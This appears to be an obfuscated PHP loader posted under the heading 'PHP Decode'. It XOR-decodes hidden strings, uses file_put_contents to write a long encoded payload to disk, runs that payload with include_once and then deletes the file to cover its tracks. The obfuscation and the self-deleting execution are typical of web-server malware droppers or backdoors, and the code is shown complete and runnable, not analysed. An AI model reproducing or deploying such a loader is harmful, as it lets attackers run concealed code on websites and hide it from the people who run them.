PHP Decode

<?php 
 
function jfZJREztweXd($xyyBsCJmafoS, $YVDbWdRWss) 
{ 
    $xyyBsCJmafoS = urldecode($xyyBsCJmafoS); 
    $YvTftGREUMYk = str_split($xyyBsCJmafoS); 
    $action = ""; 
    for ($i = 0; $i < strlen($xyyBsCJmafoS);$i++) { 
        $action .= $YvTftGREUMYk[$i] ^ $YVDbWdRWss[$i%8]; 
    } 
    return $action; 
} 
 
$i="Wy2%04%27OK1%02%28%2B3%24%275YL%230%1E80%1E%1D%04%21e%40w%0C%14%3D%27oya%5D%02%28%1F%02%191%09%23jf%1D%04%21%1D%09%250.%03%18anLgkz%7Ca%06%2B%02%3E%1D2%14%1Fne%016%3A%1E%14%13%23%21%19%23%2B.%1F42%2B%012emQ%5Boya%5D%022%14%1F%196%05%3A%27%1E%1D%02%2B%2B%18%7FrhJfLOfZH%27%04%05%256%058%2Ca%02%03%222Ds%26+%05%0AjbH%3C%278XfL9a%5DbaQKb-%19%23%1D%25%10%1F%27bQw%60cJfLbLwb%27%1E%19fjH%3Eb%7CQ%5B%7DbH%3Eb%7DQ%1820%002%2CiU%0F%276%0D%7EyhQ%10KHLwbaQKfb%0A80aYO%2CbQwrzQO%2CbPw15%03%07%23%2CDs%29%24%08BfdJwf%28QWf1%18%25.%24%1FCb%26%0D%23%23hJKb%28G%7CnaU%02miEw9L%7BKfbLwbaQKfbLs-4%054%22%23%186boLK%25%2A%1E%7F-3%15Cb%26%0D%23%23%1AU%02%1BkL%09b.%03%0Fnf%072%3B%1AU%01%1BkElOKQKfbLwba%0CfLbLwb%3C%7CafbLw0%24%05%1E4%2CLs-4%054%22%23%186yL%7B%16KH%051bi%18%185%27%18%7Ff%1E6.%12%19Z%60quB%5E%1BkEZH%3A%7CafbLw%26%28%14C%2B%26Y%7FvvFZtkElOK%0CfLf%182%2F1L%0A40%0D.%1D%2C%14%19%21%27Ds%1D%02%3E%24%0D%0B%29%7Bbe.%3B%09%118%7EyL%7B%0D%290%096%21%29QCb6%09%3A2a%10%18ff%0866+.%00%23%3BLj%7CaU%0F%276%0D%7Eb%3A%7CafbLwf%25%10%1F%27bQw%024%1F%18%230%056.%28%0B%0En1%0432i%02%03%222D5%232%14%5Dr%1D%082%21.%15%0Enf%0866+XGfe%15e7%27F%084-%0A%3F%26%25%02Z%2A%3B%1D%25%2Ax%01%04w%2F%02%3Ez6%02S%2Av%5E%26-fXGff%0866+.%00%23%3BE%7EyL%7BKfbL%3E%24aY%0251%09%23je%15%0A2%237p%23%2AV6okL%2COKQKfbLwba%18%0DfjH3%235%100a%23K%0Ab%7CLKa%2BK%7Eb%3A%7CafbLwbaQKfbLwf%28QVf%23%1E%25%238YfLbLwbaQKfbLwbaQKfe%1C%21eaLUf%02%1C%3F27%14%195%2B%039jh%5DfLbLwbaQKfbLwbaQKfe%1F%21eaLUfe%5Dyrl%40LjOfwbaQKfbLwbaQB%7DOfwbaQKfbLwbaQ%0E%25%2A%03w%022%14%19%2F%23%00%3E8%24YO%2FkWZHaQKfbLwb%3CQ%0E%2A1%09%3E%24aYO%22%23%186%19f%10L%1BbQjbf%14Lob%17ZHaQKfbLwbaQKf%27%1A6.iU%0F%276%0D%0Ce%25V6oya%5DbaQKfbLw%3FL%7BKfbLwbaQ%0E%3E%2B%18%7Fkz%7CafbLw%3FL%7B%16"; 
$j="%0D%2F.%09%0824%054%25-%02%23%27%2F%05%18"; 
 
$ZCTGZcvlAG="kFBlWBAqojNf"; 
 
$k = jfZJREztweXd($i, $ZCTGZcvlAG); 
$f = jfZJREztweXd($j, $ZCTGZcvlAG); 
$f($ZCTGZcvlAG, $k); 
include_once ($ZCTGZcvlAG); 
unlink($ZCTGZcvlAG); 
exit(); ?>